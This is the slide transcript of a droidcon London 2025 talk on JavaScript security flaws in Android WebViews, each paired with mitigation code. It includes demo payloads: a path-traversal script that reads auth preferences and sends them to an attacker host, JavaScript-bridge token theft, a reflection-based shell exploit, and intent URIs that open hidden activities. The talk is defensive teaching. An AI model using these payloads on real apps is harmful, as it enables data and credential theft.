Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Overcoming JavaScript Unsecurities in WebViews ...

Overcoming JavaScript Unsecurities in WebViews // droidcon London 2025

My presentation about the JavaScript-related security issues with WebViews in your Android apps as presented at droidcon London on October 30, 2025.

Intro
In my previous talk with a similar title from last year, I briefly discussed running JavaScript in Android WebViews, stating that it could be a talk of its own. Since then, multiple people have asked about this topic, so I decided to make it to further help overcome the insecurity one may feel when working with unsecured WebViews. It’s an often-cited suggestion that you should disable JavaScript to secure your WebViews, but what if you explicitly want to execute JavaScript?

The easiest way to run JavaScript on Android is to create a “headless” WebView (that is not visible). There are many traps to be aware of, including:

- Allowing remote code execution via Cross-Site Scripting (XSS)
- Unintended access to Android components
- Unintended access to files via WebResourceResponse or URI
- Leaking data through the JavaScript Bridge

I’ll describe and demonstrate such attacks and show you ways to mitigate and secure your app. You will learn the importance of fully controlling the JavaScript you execute, how to restrict access to native components, on-device data, and more.

Links
Android: Exploring vulnerabilities in WebResourceResponse
https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/#an-overview-of-the-vulnerability-in-amazon%E2%80%99s-apps

WebViewAssetLoader
https://developer.android.com/reference/androidx/webkit/WebViewAssetLoader

WebView – Native bridges
https://developer.android.com/privacy-and-security/risks/insecure-webview-native-bridges

JavascriptEngine
https://developer.android.com/jetpack/androidx/releases/javascriptengine

My SecureWebView library
https://github.com/balazsgerlei/SecureWebView

Executing JavaScript and WebAssembly with JavascriptEngine
https://developer.android.com/develop/ui/views/layout/webapps/jsengine

HackTricks - Webview Attacks
https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/webview-attacks.html

Application Security Cheat Sheet - WebView Vulnerabilities
https://0xn3va.gitbook.io/cheat-sheets/android-application/webview-vulnerabilities

Avatar for Balázs Gerlei

Balázs Gerlei

October 30, 2025
Tweet

More Decks by Balázs Gerlei

Other Decks in Programming

Transcript

  1. Previously on Overcoming Unsecuritites • General WebView misconfigurations • Leaving

    Remote Debugging enabled • Allowing Clear Text Traffic - Network Security Config not respected before Android 8 (API 26) • Not enforcing HSTS • Not setting the Base URL and failing Same Origin Checks • Leaving file and ContentProvider access enabled • Not clearing cookies • Breakout demo (navigating away to unintended sites) @balazsgerlei, balazsgerlei.com
  2. Previously on Overcoming Unsecuritites @balazsgerlei, balazsgerlei.com <<Abstract>> WebViewClient + shouldInterceptRequest(

    view: WebView, request: WebResourceRequest): WebResourceResponse + shouldOverrideUrlLoading: Boolean + onLoadResource: void … WebView + loadUrl(url: String): void + loadData(data: String, mimeType: String, encoding: String): void … WebChromeClient + onProgressChanged(view: WebView, newProgress: Integer): void + onReceivedTitle(view: WebView, title: String): void … WebSettings + setJavaScriptEnabled (flag: Boolean): void + setTextZoom (textZoom: Integer): void …
  3. Previously on Overcoming Unsecuritites @balazsgerlei, balazsgerlei.com <<Abstract>> WebViewClient + shouldInterceptRequest(

    view: WebView, request: WebResourceRequest): WebResourceResponse + shouldOverrideUrlLoading: Boolean + onLoadResource: void … WebView + loadUrl(url: String): void + loadData(data: String, mimeType: String, encoding: String): void … WebChromeClient + onProgressChanged(view: WebView, newProgress: Integer): void + onReceivedTitle(view: WebView, title: String): void … WebSettings + setJavaScriptEnabled (flag: Boolean): void + setTextZoom (textZoom: Integer): void …
  4. Previously on Overcoming Unsecuritites • Couple of slides about JavaScript

    • JavaScript rendering runs in the same process as the rest of the app before Android 8 (API 26) • Use evaluateJavascript() instead of loadUrl() • Sanitize (user) inputs (and escape JavaScript) • Restrict JavaScript bridge usage • Received most of the questions about running JavaScript @balazsgerlei, balazsgerlei.com
  5. My talk from droidcon London 2024 • “Overcoming Unsecurities in

    WebViews” • youtu.be/fqaUJ08MQDo @balazsgerlei, balazsgerlei.com
  6. Headless WebView • Instantiate WebView from code • Can evaluate

    JavaScript • Technically can be done with loadUrl(), but shouldn’t • Use evaluateJavascript() method val webView = WebView(activityContext) webView.evaluateJavascript( "javascript:void(alert(\"Hi!\"))" ) { result -> // handle result } @balazsgerlei, balazsgerlei.com
  7. Headless WebView • Instantiate WebView from code • Can evaluate

    JavaScript • Technically can be done with loadUrl(), but shouldn’t • Use evaluateJavascript() method val webView = WebView(activityContext) webView.evaluateJavascript( "javascript:void(alert(\"Hi!\"))" ) { result -> // handle result } @balazsgerlei, balazsgerlei.com
  8. Missing Scheme Validation • URIs does not necessary point to

    websites • If only the authority is validated, but not the scheme, it may be abused with a javascript scheme • E.g., instead of "https://example.com/privacy-policy" • You get "javascript://example.com/%0aalert(1)//" @balazsgerlei, balazsgerlei.com
  9. Missing Scheme Validation • URIs does not necessary point to

    websites • If only the authority is validated, but not the scheme, it may be abused with a javascript scheme • E.g., instead of "https://example.com/privacy-policy" • You get "javascript://example.com/%0aalert(1)//" @balazsgerlei, balazsgerlei.com
  10. Missing Scheme Validation - Mitigations Validate both the scheme and

    the authority • Only allow schemes you want to support • Preferably only https • Prefer “real-time” validation - via getUrl() • Instead of (or additionally to) validating in lifecycle callbacks • Be aware that if the URI is set via window.location.href from JavaScript, lifecycle callback methods like are bypassed • E.g., shouldOverrideUrlLoading • Only way to block is via injected JavaScript @balazsgerlei, balazsgerlei.com
  11. Missing Scheme Validation - Mitigations (function() { 'use strict'; var

    originalLocation = window.location; var locationProps = {}; Object.defineProperty(locationProps, 'href', { set: function(uri) { if (typeof uri === 'string' && uri.toLowerCase().startsWith('javascript:')) { if (window.JavaScriptMonitor && window.JavaScriptMonitor.onJavascriptUriCalled) { window.JavaScriptMonitor.onJavascriptUriCalled(uri); } // Don't call the original setter here, effectively stopping execution } originalLocation.href = uri; }, get: function() { return originalLocation.href; }, enumerable: true, configurable: true }); window.location = locationProps; })(); @balazsgerlei, balazsgerlei.com
  12. Accessing Files via XMLHttpRequest • If a WebView has file

    access enabled, an attacker may gain access to arbitrary files via XHR requests • If they can control the path of the returned file • Or the ability to open arbitrary links (including the file scheme) @balazsgerlei, balazsgerlei.com
  13. Accessing Files via XMLHttpRequest <script> var xhr = new XMLHttpRequest();

    xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { alert(`The secret is ${xhr.responseText}`) } } xhr.open("GET", "file:///android_asset/secret.txt", true); xhr.send(); </script> @balazsgerlei, balazsgerlei.com
  14. Accessing Files - Mitigations • Disable file access • Disabled

    by default since Android 11 (API 30) • Remember to turn off both allowFileAccess and allowUniversalAccessFromFileURLs binding.webView.settings.allowFileAccess = false binding.webView.settings.allowUniversalAccessFromFileURLs = false @balazsgerlei, balazsgerlei.com
  15. Accessing Files via WebResourceResponse • Using WebResourceResponse allows emulating the

    server • Intercepting requests and returning arbitrary content • Status Code • Content Type • Content Encoding • Headers • Response Body @balazsgerlei, balazsgerlei.com
  16. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  17. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  18. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  19. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  20. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  21. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  22. Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {

    var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  23. Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {

    var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  24. Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {

    var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  25. Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {

    var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  26. Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {

    var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  27. Accessing Files via WebResourceResponse <script type="text/javascript"> function stealFile(path, callback) {

    var xhr = new XMLHttpRequest(); xhr.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); xhr.onload = function(e) { callback(oReq.responseText); } xhr.onerror = function(e) { callback(null); } xhr.send(); } stealFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  28. Accessing Files via WebResourceResponse - Mitigations • When implementing WebResourceResponse,

    use WebViewAssetLoader (from androidx.webkit) • Allows the app to safely process data from resources, assets or a predefined directory • Local files can be loaded using web-like URLs • E.g., “https://example.com/assets/image.png” • Instead of appending "file:///android_asset/image.png" • Compatible with the Same-Origin policy • developer.android.com/reference/androidx/webkit/WebView AssetLoader @balazsgerlei, balazsgerlei.com
  29. Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =

    WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() @balazsgerlei, balazsgerlei.com
  30. Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =

    WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } } @balazsgerlei, balazsgerlei.com
  31. Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =

    WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } } @balazsgerlei, balazsgerlei.com
  32. Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =

    WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } } @balazsgerlei, balazsgerlei.com
  33. Cross-site scripting (XSS) • Inject client-side scripts into web pages

    • Effects vary from petty nuisance to significant security risk • Depending on the sensitivity of the data • Exploited in Android WebView via JavaScript bridge @balazsgerlei, balazsgerlei.com
  34. JavaScript Bridge • The addJavascriptInterface() method injects the supplied Java

    object into a WebView • Injecting into all frames of the web page, including all the iframes • The Java object’s methods can be made accessible from JavaScript • The ones annotated with @JavascriptInterface • Fields are not accessible @balazsgerlei, balazsgerlei.com
  35. JavaScript Bridge “there is no mechanism for the application to

    verify the origin of the calling frame within the WebView, which raises security concerns as the trustworthiness of the content remains indeterminate.” developer.android.com/privacy-and-security/risks/insecure-webview-native-bridges @balazsgerlei, balazsgerlei.com
  36. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "" } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface" ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  37. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "" } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface" ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  38. JavaScript Bridge used to be far worse <script> function execute(cmd){

    return DefaultJavascriptInterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke (null,null).exec(cmd); } execute(['/system/bin/sh','-c','echo \"hello\" > /mnt/sdcard/hello.txt']); </script> @balazsgerlei, balazsgerlei.com • Non-annotated methods used to be accessible before Android 4.2 (API 17) • This was exploitable via reflection
  39. JavaScript Bridge used to be far worse <script> function execute(cmd){

    return DefaultJavascriptInterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke (null,null).exec(cmd); } execute(['/system/bin/sh','-c','echo \"hello\" > /mnt/sdcard/hello.txt']); </script> @balazsgerlei, balazsgerlei.com • Non-annotated methods used to be accessible before Android 4.2 (API 17) • This was exploitable via reflection
  40. JavaScript Bridge used to be far worse <script> function execute(cmd){

    return DefaultJavascriptInterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke (null,null).exec(cmd); } execute(['/system/bin/sh','-c','echo \"hello\" > /mnt/sdcard/hello.txt']); </script> @balazsgerlei, balazsgerlei.com • Non-annotated methods used to be accessible before Android 4.2 (API 17) • This was exploitable via reflection
  41. XSS via JavaScript Bridge - Mitigations • Restrict the JavaScript

    bridge to the absolute minimum • Only annotate necessary methods with @JavascriptInterface • Prefer “real-time” validation • Call getUrl() and validate the result before a sensitive operation • Instead of (or additionally to) validating in lifecycle callbacks • Assume malicious intent from caller • Especially if JavaScript comes from outside and not packaged within your app • Or only run JavaScript packaged with your app @balazsgerlei, balazsgerlei.com
  42. Accessing Android Components • You may want to offer launching

    URLs (in a browser) via JavaScript bridge • It may be abused to launch arbitrary Android components (e.g. Activities) instead • Via an intent URI scheme and the component and selector fields @balazsgerlei, balazsgerlei.com
  43. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("https://example.com"); } </script> @balazsgerlei, balazsgerlei.com
  44. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  45. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  46. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  47. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  48. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  49. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  50. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  51. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  52. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null val activityInfo = intent.resolveActivityInfo( requireActivity().packageManager, PackageManager.MATCH_DEFAULT_ONLY) if (activityInfo.exported) { startActivity(intent) } } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  53. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null val activityInfo = intent.resolveActivityInfo( requireActivity().packageManager, PackageManager.MATCH_DEFAULT_ONLY) if (activityInfo.exported) { startActivity(intent) } } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  54. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  55. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent(Intent.ACTION_VIEW, url.toUri()) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  56. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent(Intent.ACTION_VIEW, url.toUri()) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  57. Accessing Android Components - Mitigations • Think through the functionality

    you want to provide • Use the constructor of Intent • Explicitly set component and selector to null • Check exported status of the component before calling @balazsgerlei, balazsgerlei.com
  58. Finally, JavascriptEngine • Jetpack JavascriptEngine library has gone stable! •

    developer.android.com/jetpack/androidx/releases/javascriptengine • Multiple isolated environments with (relatively) low overhead • Asynchronous, based on ListenableFuture • Still uses WebView behind the scenes (need to be installed) • Can be used in a Service (doesn’t require an Activity) • Available from Android 8 (API 26) • Cannot make network requests! @balazsgerlei, balazsgerlei.com
  59. Takeaways • Think twice before using WebView :) • More

    modern technologies are generally available • Try JavascriptEngine for JavaScript evaluation • If no network access needed • Package scripts with the app (or load from trusted sources) • Restrict JavaScript bridge • Think through edge cases (do Threat Modelling!) • Remember that http(s) is not the only URI scheme • Use “real-time” access control on the Main Thread - via getUrl() @balazsgerlei, balazsgerlei.com
  60. Thank you! • speakerdeck.com/balazsgerlei • My SecureWebView library • github.com/balazsgerlei/SecureWebView

    • Executing JavaScript and WebAssembly with JavascriptEngine • developer.android.com/develop/ui/views/layout/webapps/jsengine • HackTricks - Webview Attacks • book.hacktricks.wiki/en/mobile-pentesting/android-app- pentesting/webview-attacks.html • Application Security Cheat Sheet - WebView Vulnerabilities • 0xn3va.gitbook.io/cheat-sheets/android-application/webview- vulnerabilities @balazsgerlei, balazsgerlei.com